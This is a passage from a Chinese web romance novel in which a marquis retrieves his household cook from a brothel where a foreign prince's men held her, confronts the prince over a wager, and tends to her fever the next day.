不一会,陈凡脸色凝重地跑了回来,禀告道:“侯爷,鸿胪寺宴席未散,但属下打听到,就在您前脚刚走,赫连王子也出了鸿胪寺,好像是去了……碧波巷那边。”
然,等他们带人到了碧波巷,却遇到了麻烦。
“侯爷,碧波巷馆舍林立,暗娼无数,若是挨个搜,只怕惊动了北狄那头,沈掌事的名声也……”
碧波巷这一带,面积很大,多是秦楼楚馆,风月场所。
要想在短时间内找到人,并不是件容易的事。
裴谨之撩开车帘,目光扫过这一片的灯红柳绿,吩咐道:“去查,看哪家今夜闭门谢客,或重金包场。”
他们敢在京城绑人,定会选择一处清净的地方。
陈凡动作很快,哪怕外面正下着细雨,行动效率却丝毫不受阻碍。
不到一刻钟,他便带着人回来禀报,最后锁定目标:南风馆。
……
南风馆内,气氛正热闹,一楼大堂里,几个客人正搂着男子调笑。
老鸨见门口停了一辆奢华的马车,继而下来一个身形高大,气质不俗的男人。
他扭着腰迎了上来:“哎哟,这位爷瞧着面生得紧,今晚……”
话音未落,在看见裴谨之身后那队肃杀的护卫,老鸨的笑容僵在了脸上。
这时,陈凡上前,将老鸨挡在了三米开外的距离:
“首辅大人接到线报,有细作潜入南风馆。所有人留在原地,不得走动。”
老鸨硬着头皮还想说话,却被陈凡拔剑挡了回去:“此乃军机重务,阻拦者,按通敌论处!”
“哎哟,爷,这……使不得呀!”
说话的功夫,陈凡已经抬手一扬,身后众人散开,开始挨个房间展开搜查。
众人见状,吓得再也没了心思,纷纷抱头躲避。楼里很快乱做了一团。
裴谨之也没闲着,在陈凡问出今晚三楼有客人包场后,径直抬脚,前往三楼。
-
与此同时,三楼包间。
沈令薇是在一阵嘈杂的声音中醒来的,首先涌入肺里的,是一股淡淡的熏香,很陌生,但不难闻。
“唔……”
胸部的那股压迫感被解开,身体得到释放,她嘤咛了一声。
睁开眼,入目是陌生的红木床顶,金钩挽着红罗帐,是她不认识的纹样。
这不是她在静和苑的房间!
意识骤然回笼,她猛地惊坐起身,却因为刚醒,意识还有些昏沉。
这番动静,很快惊动了正在门口对峙的两个男人。
是以,沈令薇揉了揉脑袋,抬头的瞬间,正好对上裴惊驰和赫连绯双双看过来的眼神。
那眼神,震惊,错愕,还有一丝来不及掩饰的……慌乱。
沈令薇:“???”
而随着她的动作,她身上的锦被也随之滑落,原本解开了一半的裹胸布,竟也在此刻彻底散开来。
没了束缚,那对被禁锢已久的丰软,像两只受惊的雪兔一般,瞬间弹跳而出,沉甸甸地挂在枝头,白得晃眼。
如同被释放的困兽,一朝猛地挣脱出来。
“铛!”
裴惊驰的匕首掉落在地上,发出脆响。
赫连绯的目光也像是被钉住了一样,死死地盯着沈令薇那处,呼吸都忘了。
那画面像是长了钩子,把两人的视线牢牢勾住。
时间仿佛静止,空气也仿佛凝固。
沈令薇却一头雾水,不明所以。
下一秒,她终于意识到什么,低头往胸前一看。整个人如遭雷劈,僵在了当场。
“啊!”
沈令薇扯过锦被,发出一声绝望的惊呼。
偏就在这一刻。
“砰!”
大门被人从外面打开。
一股冷冽的寒气扑面而来,沈令薇冷得打了个寒战。
再抬头时,却撞入一双漆黑睿凛的眼睛。
是裴谨之。
四目相对,沈令薇脸上的羞愤和震惊都没来得及褪去,捂着被子坐在床上,云髻散乱,衣襟敞开,像极了刚经历一场掠夺,承受雨露的模样。
裴谨之眼底漫上一层寒意,周遭的空气像在一瞬间结了冰。
一股愤怒的情绪在胸腔横冲直撞,像是一头被困了太久的野兽,终于找到了出口,拼命撕咬着他的理智。
“咳……小叔,你怎么来了?”
裴惊驰率先打破死寂,脚步更是下意识侧身挡了半步,嗓音带着几分嘶哑和慌乱。
裴谨之没看他,目光定在惊魂未定的沈令薇身上,周身气压降至冰点。
“谁干的?”
第一卷 第71章 我不许你这么说自己
裴惊驰以为他指的是沈令薇被劫持的事,转向赫连绯,语气冰冷十足:“这个问题,我也想问问赫连王子。你绑架侯府的人,意欲何为?”
彼时,赫连绯后知后觉地意识到,能出动侯府两尊大佛亲自来找,这个女人的身份,定不如表面那般简单。
尤其是裴谨之此刻看自己的眼神,像带着刀片。
他讪笑一声,“二位先别着急,我请这位……夫人来,其实是来做客的。”
北狄王庭子嗣夭折的事,不能让这帮大周的官员知晓。
赫连绯脑子转得飞快,掂量着怎么把这事圆过去。
“赫连王子的待客之道,就是把我侯府的人,请到你的床上来吗?”
裴谨之语气听似平常,却透着一股压着的沉怒。
赫连绯张了张嘴,有些无言以对。
下面的人劫人在先,确实是他们理亏。
殊不知,赫连绯的沉默,在裴谨之看来,就成了心虚。
裴谨之浑身弥漫着强大的杀意,生平第一次,生出一种想要不管不顾,将人碎尸万段的冲动。
他深吸一口气,压下心头的怒意。
“赫连王子,本侯不管你打的什么主意。今日这事,你若不给个交代,明日早朝,本侯会亲自向圣上禀明,北狄使臣,在京城绑架百姓,意图不轨。那么他们也都不用回去了。”
“届时,两国议和之事生出什么异变,恐怕就不是你我二人能够控制的了。”
赫连绯脸色剧变,“裴侯这是在威胁本王?”
“威胁?”裴惊驰冷嗤一声,“就你北狄那点弹丸之地,若非我朝陛下仁厚,不愿百姓受战火之苦,本将军早就率兵踏平了你的王庭。”
“如今,你竟敢绑架我侯府的人?真当本将军手里的剑是吃素的?”
赫连绯一噎。
好好好!人多欺负人少是吧!
他深吸一口气,目光在叔侄二人身上转了转,像是忽然间想到什么。
那双狐狸眼微微眯起,眼底闪过一丝意味不明的光。从最开始的玩味,变成了了然。
“有意思。”
赫连绯目光在二人身上流连,像发现了什么秘密。
“你们一个是堂堂定远侯,一个少将军,竟都为了一个侯府的下人,如此大动干戈,莫非……”
他压低了声音,语气满是意味深长:“这位娘子,跟你们叔侄俩,都有什么见不得人的关系?”
话音刚落,裴惊驰的匕首已经抵在了赫连绯的脖子上,桃花眼里满是怒火。
“想死?”
赫连绯举起双手,笑得妖冶又欠揍:“怎么?被我说中了,恼羞成怒?”
“你……”裴惊驰被气得牙痒,当即就要一拳头砸在赫连绯那张欠揍的脸上。
这时,胳膊却被一只柔夷轻轻拽住。
“大公子。”
沈令薇已经穿好衣服,走上前来,语气也恢复了平静。
“不必为了奴婢的事,如此大动干戈。”
“可……”
“奴婢与大公子,还有侯爷都清清白白,难不成真被外人说几句,就要急着自证清白,如此一来,岂不坐实了那捕风捉影的脏话?”
“奴婢贱命一条,不值当侯爷和大公子如此。”
她语气不卑不亢,如同一捧清雪,浇在裴谨之和裴惊驰的心上。
裴惊驰的手僵在半空,咬着牙,却到底没落下去。
他转而反手握上沈令薇的手腕,挡住赫连绯的视线,“我不许你这么说自己,主子也好,下人也罢,人命不分贵贱。他今日敢欺你,就该付出应有的代价!”
沈令薇的心尖像被什么东西重重的一撞,猛地缩紧。
人命不分贵贱。
在这皇权至上,尊卑森严的古代,他一个世家公子,少年将军,能说出这句话,分量何其重?
沈令薇喉咙像是被堵住。
她垂下眼睫,轻声道:“……多谢,大公子。”
裴惊驰抬手想抚上她的发丝,却又顾忌到场合,手又松开。
只是那双桃花眼里,却有着藏不住的动容。
殊不知,这一幕,深深地刺痛了裴谨之的眼睛。
他站在几步开外,看着二人那自然又默契的互动,看见裴惊驰落在沈令薇手腕上的那只手,像一根刺扎进眼底。
从什么时候开始,他们竟已经这么熟悉了?
他突然回想起那一日,在裴惊驰马车厢恍然瞥见的那一抹丁香色。
以及后来沈令薇身上出现的‘男人味’。
这么一想,全都通了。
可下一秒,一股灭顶的怒火又涌上裴谨之心底。
水性杨花的女人,招惹了陆酉还不够,现在又来招惹惊驰。
裴谨之垂在身侧的手渐渐收紧,周身的寒气几乎要化作实质。
“喂,这还有外人在呢,你们这样,不合适吧?”赫连绯突然开口,打破寂静。
他目光在沈令薇和裴惊驰身上来回游移,又道:“我承认,先前是我的手下不知轻重,冒犯了这位娘子,但这都是一场误会,再说,我也救了你一次,这事,是不是该扯平了?”
裴惊驰松手,转过身,看着赫连绯。
那桃花眼里没了平日的玩世不恭,只有一片冷意。
“在我大周的地盘,绑了本将军的人,还占了便宜,现在说一句‘误会’就想扯平?”
赫连绯皱眉:“那你想怎样?”
裴惊驰勾唇;“听说你这次来,带来了所谓的‘草原第一勇士’,欲来挑战我大周将领?”
“本将军现在决定,这帖子,我接了。”
赫连绯眯起眼睛。
他嗅到了阴谋的味道。
“好,那若是你们输了呢?”赫连绯道。
裴惊驰:“三日后两国比试,若本将军输了,今日之事,既往不咎。我愿当众向你道歉。”
“哦?那若是你们赢了呢?”赫连绯又道。
裴惊驰眼底闪过一丝锐利,缓缓开口,“若我们赢了……”
“今日这绑架之罪不仅不能姑息,你的人需得在京城的主干道上,亲自下马,向她磕头谢罪。并保证从此以后,北狄在议和桌上,不得讨价还价!”
赫连绯听完,心底倏地一沉。
这是阳谋。
他原本计划通过这场比试,重挫大周的士气,从而在谈判桌上为北狄争取更多的利益。
可如今这么一激,性质就全变了。
若赢,仅仅是大周对于这桩‘绑架案’的不追究。
可若输了,让北狄的勇士向一个下人下跪,更是颜面扫地。
可若不接受挑战,那就是心虚,传出去更难听。
无论怎么选,主动权都在对方手里。
赫连绯咬了咬牙,半晌,挤出一句:“裴将军好算计。”
裴惊驰淡淡道:“怎么?赫连王子这是打算认输?”
赫连绯咬牙,冷笑一声:“既然少将军有此雅兴,本王便陪你赌这一局。但本王还要再追加一个条件。”
裴惊驰:“你说。”
“这件事,少将军恐怕做不了主,得看裴侯。”赫连绯目光转向裴谨之。
沈令薇眼皮一跳,心里涌上不好的预感。
第一卷 第72章 惊艳
过了好一会儿,裴谨之才挤出两个字。
“你说。”
赫连绯将目光落在沈令薇身上,露出志在必得的笑容:“若本王赢了,那便让这位娘子,随我去北狄走一趟。”
“不可能!”
“休想!”
裴谨之和裴惊驰异口同声。两人同时释放的低气压,让沈令薇不自觉地后退了半步。
她僵立在原地,看向赫连绯的目光,亦带着浓浓的愤怒。
赫连绯笑得愈发妖冶:“怎么?二位嘴上说要给这位娘子讨公道,可连这点赌注都不敢下?那你们方才那些话,不过是说说罢了?”
“还是说……你们对自己的人,根本没信心?”
裴惊驰往前迈出一步,正要开口。
“够了!”
沈令薇突然开口,声音不大,却让屋里的几人都安静下来。
她看向赫连绯,目光清冷。
“赫连王子,我是大周人,不会去北狄,若您真要强求,那便带走我的尸体。”
赫连绯挑眉:“这是怕了?”
沈令薇没有被他激怒,只道:“当然不是,我只是觉得,拿活人当赌注,蠢得很。”
赫连绯皱眉,隐隐觉得这女人在内涵他。
沈令薇已经转向裴惊驰,“大公子,莫要中了他的激将法,奴婢的去留是小,可若因为奴婢一人,让您在擂台上背负了本不该有的枷锁,万一失手,那是折了大周的军威。这赌约,万万不可定!”
裴惊驰心里软成了一滩水。
他本不想中这激将法,可此刻,他忽然改变了主意。
他目光灼灼地看着沈令薇,凑近了几分,“怎么?小看爷?”
沈令薇摇头;“大公子英明神武,自是无人能敌,只是奴婢觉得,没必要做这义气之争。”
裴惊驰缓缓勾唇,眼底笑容愈发灿烂。
他靠近一步,突然伸手,将沈令薇耳边的一丝碎发挽在耳后,轻声道:“无妨,你且看着,爷如何为你讨回这公道。”
就这样,双方应下了这场赌约,时间定在三日后。
经过这番折腾,沈令薇一直紧绷的弦也彻底松懈下来。
等赫连绯走后,她看了看眼前的两个男人,刚落下的心又悬了起来。
最后,她走到裴谨之面前,朝他屈膝行了一礼。
“侯爷,奴婢今日给侯府添了这天大的祸端,自知有罪,愿自请离府,以免再给侯府招来是非。”
沈令薇本是请罪,可这话在裴谨之听来,分外的刺耳。
她对惊驰就可以那般从容,自然而然的。甚至默认惊驰靠近她。
可到了他这里,便是这般恭敬,疏离,像是迫不及待要跟他撇清关系。
裴谨之自己也说不上来,为何会生出这股别扭的情绪。一股莫名的躁郁在胸腔里横冲直撞。
“惊驰,你先回府。”他朝裴惊驰吩咐。
“小叔,她……”
“外面在下雨,你骑马不方便。”
裴惊驰抬头看了眼窗外的天色,不疑有他。
“行,那我先回去,不过……”他朝裴谨之补充道:“小叔若真要罚她,不如就罚她来阑园当值好了,沈厨娘的饭菜,甚合我胃口。正好阑园的厨子也老了,上个月还说要请辞。”
说完,裴惊驰目光扫过沈令薇。
没了裹胸布和缠腰布的束缚,她的身段如同被剥开壳的荔枝,晶莹饱满,每一寸都透着熟透的芬芳。
他喉结滚动了一下,移开目光,转身出了门。
屋里,沈令薇低着头,不敢去看裴谨之的眼睛。
她已经做好了被赶出侯府的准备。
这些日子做工的月银,再加上先前老夫人给的赏赐,加起来差不多也有上百两银子了。足够给她和安安买间小院,过平静的日子。
时间一滴一滴流逝,沈令薇垂着头,只能看到裴谨之那双绣着流云纹的官靴,上面沾染了不少水渍。
她忍不住,微微抬头。
然后,她目光撞进了那双漆黑的眸子,正沉沉地落在她身上,像千年的寒潭。
不见底,也不透光。
这种无声的较量,比斥责和愤怒更难捱。
不知过了多久,裴谨之终于开口。
“先回去。”
声音淡淡的,听不出喜怒。
沈令薇刚准备张嘴,对方已经先一步转身,大步跨出了大门。
沈令薇想了想,还是跟了上去。
外面下着小雨,在这冬日里更添了几分冷意。
沈令薇立在廊下,下意识地抱住了胳膊,试图抵挡一丝凉意。
裴谨之已经接过陈凡递过来的雨伞,先一步上了马车。
正当她纠结要怎么回去时。
“沈娘子!”
一道熟悉,带着些许慌乱的声音传来。
沈令薇顺着声音望去,只见雨雾中,一道清瘦的人影正撑着一把青竹伞,快步跑上台阶。
是陆酉。
也不知他在这里等了多久,长衫的下摆已经被雨水溅湿了一大片,发丝也有些凌乱。
“陆大哥?”沈令薇面露错愕,“雨下得这般大,你怎么还没回去?”
陆酉目光急切地将她上下打量了一番,待看到很令薇的变化时,目光倏地一怔!
此时的沈令薇已经解开了那层裹胸布,还有腰间的布条,即便一身普通的布裙,也掩饰不住那破茧而出般的惊人身段。
腰肢细得不盈一握,胸前却是惊人的饱满,整个人就像是蒙尘的明珠被雨水洗净了铅华。满是浑然天成的娇柔与靡丽。
美的极具冲击力。
陆酉身为读书人,向来非礼勿视。
可此刻脑子里却是‘嗡’的一声,像被什么东西击中一般,内心泛起一层说不明的涟漪。
察觉到他异样的视线,沈令薇低头看了一眼自己,脸瞬间烧了起来。
“陆大哥……”
陆酉猛地回过神来,意识到失态,耳根迅速红透。
“我……我听说你出事,实在放心不下,你、没受伤吧?”
“我没事,让陆大哥担心了。”沈令薇摇头道。
陆酉点点头,没有问她方才在里面经历了什么,只是把伞又往她那边递了递。
“雨大,我先送你回去。”
沈令薇点点头,刚准备接过陆酉的雨伞,却在这时——
“沈掌事。”
陈凡不知道什么时候走了过来,手里拿着方才给裴谨之撑的那把雨伞。
“侯爷说了,雨太大,让您也上车,一道回府。”
沈令薇:“……”
她望向不远处的马车。
雨幕如织,车帘垂得严严实实,什么也看不清。可沈令薇却无端觉得如芒在背。
她敏锐地察觉到,那道视线此刻正透过车帘,紧紧的落在她正欲伸出去的手上。
第一卷 第73章 你与惊驰,何时相识的?
沈令薇的手,硬生生地折了个弯,转向陈凡。然后对陆酉道:
“陆大哥,多谢你的好意,时间也不早了,你也早些回去吧。”
说完,便朝着陆酉微微颔首,转身走进了雨幕。
陆酉僵在原地,静静地看着沈令薇走向那辆漆黑的马车。
这是第一次,他如此真切地感受到,自己引以为傲的满腹经纶,在绝对的权势面前,竟连为她遮挡风雨的资格都没有。
……
马车内,浓郁的檀香混合着潮湿的冷意,气氛压抑得让人窒息。
裴谨之端坐在主位,半张脸陷在昏暗的阴影里。
沈令薇双手抱臂,缩在最远的角落里,不敢抬头去看裴谨之的脸色。
她浑身涌上一股陌生又熟悉的燥热,体内像有火在烧,脸颊也有些发烫。
衣裳湿了一些,黏在身上有些难受。
但更难受的是那道视线。
明明对方闭着眼,却像是有实质一般,压得她喘不过气来。
马车启动,车轮声混合着淅沥沥的雨声,在夜里显得格外清晰。
不知过了多久,马车忽然颠了一下,沈令薇没坐稳,身子猛地往前倾……
一只大手稳稳地托住了她的肩膀。
沈令薇愕然。
他明明闭着眼睛,是如何做到的?
掌心滚烫,隔着湿透的衣裳,像烙铁一样印在皮肤上,鼻尖满是他身上的气息。
沈令薇僵了一瞬,燃烧的身体像是终于找到水源,迫切地想要靠近一些。
可,终究还残存了一丝理智。
她僵硬地缩回角落里,低低地道了声谢。
“……谢侯爷。”
裴谨之没说话,那只收回的手,搭在膝上,像是在回味方才那一触即离的温度。
过了一会儿,他突然开口。
“你与惊驰,何时相识的?”
沈令薇愣了一下,猛地掐了把大腿,疼痛让她稍微清醒了一些。
她斟酌着用词:“大公子回京那日,奴婢出府采买,在街上遇见的。”
“只是遇见?”
沈令薇心下一突,他这是何意?
她还没想好怎么回答,又听裴谨之问道:“那陆大人呢?也是恰巧遇见的?”
不知为何,沈令薇从他的话里,感受到一股嘲讽,和冷意。
她想了想,如实道:“陆大娘是我干娘,奴婢以前初入京城时,曾得她照拂,一来二去,也就熟悉了。”
裴谨之移开目光,语气沉了几分:“你倒是好本事。”
沈令薇不解,抬头,用眼神打了个问号。
裴谨之积压了一夜的邪火终于爆发,化作一声冷嗤。
“先是陆酉,再是惊驰,如今还招惹到赫连绯这匹狼,本侯竟不知自己的府上,还藏了你这么一位左右逢迎的‘奇女子’。”
这赤裸裸的羞辱,如同一记耳光扇在沈令薇脸上,浑身的燥热仿佛都凉了几分。
她自问循规蹈矩,并无过错,就连今晚和赫连绯,也是她被劫持在先。
可他竟将自己比作那水性杨花,到处招惹桃花的女人。
沈令薇的脸色一点点白了下去,胸口像被人塞了团棉花,堵得喘不过气。
可她没替自己辩驳。
因为不需要。
“侯爷说的是,”她垂下眼睫,语气带着几分淡淡的嘲讽:
“奴婢就是这般水性杨花,到处攀附。既然侯爷容不下奴婢,不如就此放奴婢出府,也好过脏了侯府的门楣。”
裴谨之的眸光猛地沉了下去。
“你说什么?”
他声音之冰冷,似要把这几个字嚼碎。身上那股子上位者的威压拍打过来。
“你惹的惊驰为你搭上前程,不惜跟北狄大动干戈,现在这残局还没收场,你就想拍拍屁股走人?”
“沈令薇,你当本侯这侯府是什么地方?”
沈令薇皱眉:“可侯爷既嫌弃奴婢是个祸害,继续留在府上,就不怕奴婢会招惹更多麻烦?”
“不如这就放奴婢离开,一了百了?”
裴谨之的眼底,像有什么可怕的东西在剧烈翻涌。
“本侯若是不放人呢?”
沈令薇攥紧双手,硬着头皮道:“奴婢是良籍,入府时签的是活契,不是卖身。侯爷若是强留,那便是违了大周的律法。”
话音刚落,一只手猛地扣住她的手腕。力道大得惊人。
沈令薇被拽得往前一倾,整个人几乎贴在他面前。
裴谨之的脸近在咫尺。
那双黑眸里,没了平日的端肃沉静,只有一片她从未见过的、近乎失控的暗潮。
“良籍又如何?”
裴谨之抬起一只手,修长的指尖捏住沈令薇的下巴,迫使她仰头,迎上自己眼底的狂风骤雨。
“本侯便是强留了,你去哪儿告?”
每一个字,都像是从胸腔里刮出来的。
沈令薇不可置信地瞪大眼睛,看着他。
世人都道,首辅大人是高高在上,严守戒律的端方君子。
可此刻她才发现,那层风光霁月的皮囊下,竟藏着这般罔顾法度,强取豪夺的偏执。
裴谨之低头看着她。
烛火从车帘缝隙透进来,在她脸上投下忽明忽暗的光。那双杏眼正因惊惧而微微睁大,唇瓣像一朵被雨水打湿的花。
他的目光从眉眼滑到鼻尖,再到唇瓣,最后落在她微微起伏的胸口上。
没了裹胸布的束缚,她的身段在那层薄薄的布料下无所遁形。腰肢细得惊人,那处更是饱满得让人移不开视线。
一股燥热从某处升起,裴谨之的呼吸也随之一乱。黑眸翻涌着毫不掩饰的侵略,和渴求。
他缓缓低下头,独属于男人身上的灼热呼吸,铺天盖地地笼罩下来。薄唇几乎要贴上去。
沈令薇看着逐渐朝自己逼近的男人,一股前所未有的恐慌从脚底窜了上来。
“侯爷……”
在即将相接触的一寸距离时,沈令薇猛地偏头,眼角逼出一滴眼泪,砸落在裴谨之捏着他下巴的手背上。
“奴婢……是个生过孩子的寡妇。”
裴谨之动作微微一顿。
“奴婢有自知之明,当初进府,只想带着安安过安稳日子,从未妄想过攀附高枝,也不敢肖想去招惹,算计贵人,也求侯爷……”
“求侯爷高抬贵手,放过奴婢。”
裴谨之看着她,那滴眼泪,不知怎地,像一滴冰锥一样,直直地刺进他骨头缝里。
良久,裴谨之终于松开钳制她的手,声音听不出情绪。
“你今日惹出这般祸事,让惊驰为了你拿大周的声誉去做赌注,你要本侯如何放过?”
沈令薇张了张嘴,想反驳,但看到男人那不容置疑的脸色,到嘴的话咽了回去。
“那侯爷想怎样?”
“惩罚。”裴谨之冷冷地吐出两个字。
他目光重新落到沈令薇脸上,带着不容置疑的强势。
“既然你精力这般旺盛,总能在外面招惹是非,那从明日起,除了静和苑的一切照旧,另外,你还要负责本侯的一日三餐。”
沈令薇瞪大眼睛。
第74章 变相的‘惩罚\’
“侯爷,这……”
她想问,这算什么惩罚?确定真的是惩罚?
“怎么?不愿意?”男人漆黑的眸子锁定她,仿佛只要她敢摇头,就一定会要她好看。
“没有,”沈令薇下意识地摇头:“奴婢谢侯爷开恩。”
裴谨之这才脸色稍霁,换了个姿势,重新闭上眼睛。
只是沈令薇却总觉得,哪里不太对。
但又说不上来。
终于,一刻钟后,马车停在了侯府西角门。
裴谨之步下马车,站在雨里没有回头,交代了一句:“明日一早,本侯要吃到你做的生煎包。”
说完,也不等沈令薇回复,眨眼消失在雨幕里。
沈令薇站在车辕上,半天都没回过神来。
-
“呜呜,娘亲,您总算回来了,吓死安安了……”
沈令薇刚到静和苑,安安就像一只小鸟,一头扎进她怀里,眼泪哗地就流了下来。
“娘亲!你去哪儿了,安安好怕……”
沈令薇蹲下来,把她搂住,轻轻拍着她的背:“没事,娘亲没事,就是路上耽搁了。”
安安抱着她不肯松手,小脸埋在她肩窝里,抽抽噎噎的。
不光是安安,银杏,还有三位小少爷,在听说她出事后,全都没有休息,跑来静和苑等消息。
这时,裴野上前,目光上下打量了沈令薇好几遍,小脸绷得紧紧的。
“怎么把自己搞成了这副样子?”
他指挥银杏递给沈令薇一件披风;“快穿上,你要是冻病了,谁给我做饭?”
沈令薇嘴角弯弯,心里一暖:“是,多谢三少爷。”
裴野被她整得有点不好意思,别过头去,嘴硬道:“我是怕你耽误了明天的点心。”
这时,银杏端来姜汤,朝沈令薇解释:“沈姐姐您是不知道,三位小少爷听说您出事,都说要跑出去找您,谁劝都不听。”
沈令薇心下一暖,顺着目光看过去。
二少爷裴恪站在最前面,怀里抱着团子,从她刚才进门起,眼神就没离开过她。
没说话,却主动把团子往她身边递了递,以此来表达自己的关心。
裴朔站得最远,见沈令薇朝他看过去时,急忙转移注意力朝裴野道:“夫子不是给你留了课业吗?明早还要背书,时间不早了,走吧。”
裴野小脸一垮,嘟囔道:“我那还不是担心……”
“一会儿父亲就要回来了,走吧。”裴朔催促裴野离开。
裴野边走,边交代沈令薇,别忘了明天的点心之类的,很快出了静和苑。
很快,院子里安静下来,沈令薇照顾好裴恪上床睡觉,自己则领着安安回了小院。
一夜无话。
翌日清晨,沈令薇是强撑着走到厨房的,昨夜淋了雨,又受了惊吓,早起的时候头有些晕,每一步都像是踩在棉花上。
生煎包出锅的时候,银杏刚好走进来,见她苍白的脸色,吓了一跳:“沈姐姐,你脸色怎么这么差?可是病了?要不我替您去墨苑送饭吧?”
沈令薇想起裴谨之昨晚的吩咐,摇头道:“没事,我给侯爷送完再回来歇会儿。”
就这样,沈令薇拎着食盒,第一次来到墨苑。
墨苑坐落于侯府东侧,与静和苑隔着两重院落,一条长廊。
沈令薇虽在侯府当差数月,却是头一遭往这边走。
这里不像静和苑的热闹,也没有寿安苑的华贵,青石板路两旁种着修竹,疏疏朗朗,一草一木也都被打理得井井有条。
无声地昭示着裴谨之作为一家之主不可撼动的地位。
到了门口,陈凡已经等在那里。
沈令薇本想将食盒托他送进去,结果陈凡做了个‘请’的手势。
“沈掌事,侯爷吩咐了,让你亲自送进去。”
没办法,沈令薇只好硬着头皮,跨进了墨苑的门槛。
这里比想象中还要安静,空气中弥漫着一股松烟墨香,院子里种着几株青松,枝干遒劲,遮出一片浓荫。
屋门是打开的,绕过一架屏风,她看见裴谨之正坐在案后。
他今日只穿了一身白色常服,长发仅用一支玉簪束起,少了几分朝堂上的冷厉,却多了几分生人勿近的孤高。
晨光斜斜地打
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在他侧脸上,勾勒出冷硬而完美的线条。
沈令薇打起精神,将食盒里的早膳一一摆上。
“侯爷,早膳到了。”
样数不多,却都胜在精致。
一小屉生煎包,底部煎得金黄酥脆,面上撒着点点黑芝麻与翠绿的葱花,个个白胖玲珑,热气腾腾。一碟桂花糕,晶莹剔透,能看到里头均匀分布的桂花碎。
还有一碗山药小米粥,并两碟小菜,一碟酱瓜,一碟糖蒜,都是开胃的。
裴谨之目光落在那生煎包上。想起上一次看到裴野和裴惊驰在静和苑,为了最后一只生煎包争夺的情景。
他倒想尝尝,究竟是怎样的手艺,能把他们一个个都迷成这样。
他拿起筷子,夹起一个生煎包,送入口中。
咬破面皮的瞬间,裴谨之表情微微一滞。
以前大厨房也不是没做过生煎,但那些厨子为了追求肉香,往往会将肥瘦肉的比例调高,一口下去满嘴流油,吃两个便会觉得腻味,且外皮多半厚重。
可沈令薇做的这只,却截然不同。
一股淡淡的香气在唇齿间弥漫开来,馅儿鲜而不腻,汤汁也浓郁不齁。一口下去,胃里暖烘烘的,仿佛熬夜的疲惫,都被抚平了几分。
紧接着,他又先后品尝了另外几样菜,那碗小米粥也喝了大半。
沈令薇伺立在一旁,见他吃得并不多,不禁皱眉道:“侯爷怎吃得这般少?可是奴婢的吃食不合胃口?”
裴谨之擦嘴的动作一顿,嘴里吐出两个字:
“尚可。”
没有多余的评价。
“午膳我不在侯府,晚膳你照常准备即可。”
裴谨之没说的是,往日里他的食量其实更少。今早是他吃得最撑的一次。
但他并不打算把这一点告诉沈令薇。
沈令薇松了口气,只要没说不好吃,命令她重做就好。
她上前收拾好碗筷食盒,转身要走。
刚迈出一步,一阵天旋地转的眩晕感就猛地袭来。
眼前的青瓷碟子瞬间变成了重影,她双腿一软,整个人不受控制地向前栽去……
第75章 他真把她给吓‘病\’了?
关键时刻,一只大手稳稳地扣住她的手腕,顺势拦住了沈令薇摇摇欲坠的肩膀。
淡淡的松烟墨香包裹了她。
裴谨之眼疾手快,已经站到了她身边,低头看着她,眉头皱成了‘川’字。
刚才在案桌后没看清,此刻距离近了才发现,沈令薇脸色明显有些不正常的潮红,嘴唇嫣红,像涂上了胭脂。
他伸手往她额头一探。
果不其然,温度高得吓人。
裴谨之眼底掠过不易察觉的紧张,随即脸色一沉:“胡闹!都烧成这样了还来做什么?”
沈令薇被他这莫名其妙的一凶,以为他嫌弃自己过了病气,忙挣扎着起身,双手撑在桌沿才勉强站稳。
“奴婢无碍……”
“站都站不稳了,还逞强?”他的声音带着几分薄怒。
说罢,裴谨之长臂一伸,把她往一旁的软榻上带。动作不算温柔,力道却控制得恰到好处。
沈令薇撑着腰起身:“侯爷,奴婢回去歇着就行……”
“闭嘴!”
沈令薇不敢再说话,认命的躺在榻上。
刚一沾到软枕,整个人就像被抽干了骨头,彻底软了下去,眼皮重的快要抬不起来。
裴谨之转身走到门口,唤来陈凡,“去请大夫。”
陈凡看了眼软榻上的沈令薇,什么都没问,当即快步而去。
大夫来的很快,一番请脉后,脸色有些凝重。
“这位娘子是郁结于心,惊惧交加,加之又受了风寒,邪火彻底发了出来。当务之急,是要先把高热退下去,老朽这就开一剂猛药先煎上。”
听到‘惊惧交加’四个字,裴谨之手指微微收紧。
他想起昨夜在马车上,自己不过吓了吓她,真把她给吓出病来了?
一股躁郁的情绪在胸腔蔓延。
他冷着脸挥手,让大夫去煎药。转头又冲陈凡吩咐:“去静和苑,把那个叫银杏的丫头叫过来伺候。”
自从五年前崔氏故去,老夫人陆续安排了几个伺候的丫鬟,可总有人把主意打到裴谨之身上,行那半夜爬床之事。
后来高调处理了几个,老夫人也就歇了往他院子里塞人的心思。
因此,如今的墨苑,只有小厮,没有丫鬟。
陈凡领命退下。屋内瞬间安静下来。
裴谨之居高临下,看着蜷缩成一团的女人,她烧得满脸通红,黛眉紧蹙,额头上渗出一层细密的虚汗。
沈令薇已经陷入昏迷,嘴里还在念叨着什么。
“安安别怕……娘没事……”
这一幕,让裴谨之想起了五年前,玉娘离开前的那一幕。
也是这样躺在床上,意识昏沉,嘴里却还不忘念叨刚出生的孩儿。
眼前的女人,跟玉娘有着如此相似的脸……
裴谨之闭上眼,把那画面压下去。
他眉头紧锁,鬼使神差地伸出手,想探探她额头。
可手指刚碰到她的肌肤时——
“别走……”
榻上的沈令薇发出一声委屈的轻喃,像是沙漠里濒死的人终于发现了绿洲,一把抓住裴谨之想要抽离的手。顺带贴在了她滚烫的脸颊上。
裴谨之身形瞬间一僵。
女人的手软若无骨,烫得惊人。将他的手掌当做降温的冰块一样。
“凉……好舒服……”
像只贪凉的猫儿,紧抱着不撒手,还舒服地蹭了蹭,灼热的呼吸悉数喷洒在裴谨之手腕上。
裴谨之的呼吸,在这一瞬间彻底乱了。
他喉结滚动,声音沙哑得厉害。
“松手!”
可他刚一动,睡梦中的沈令薇便不满地拧眉,贴得更紧了些。
“别走……热……”
她声音娇软,带着浓浓的哭腔和毫不设防的依赖。
裴谨之浑身的肌肉瞬间紧绷到了极致。
这女人平日里看着清醒自持,满嘴规矩,此刻却毫无防备地将脸埋在他掌心里,一副予取予求的娇怜模样。
他的手像生了根,竟有些狠不下心抽离。
银杏进门的时候,看到的就是这副画面。
那个素来高高在上,生人勿近的侯爷,此刻正半弯着腰,一只手伸在沈姐姐脸上,像是在安抚。眼神深得如同化不开的浓墨。
银杏手里的脸盆差点没端稳,“侯……侯爷。”
裴谨之像是僵了一瞬,随后强行抽回手,重新挂上了那副不近人情的面孔。
“温水放下,给她擦一擦。”
银杏不敢多看,忙把水盆放在榻边,拧了帕子给沈令薇擦额头。
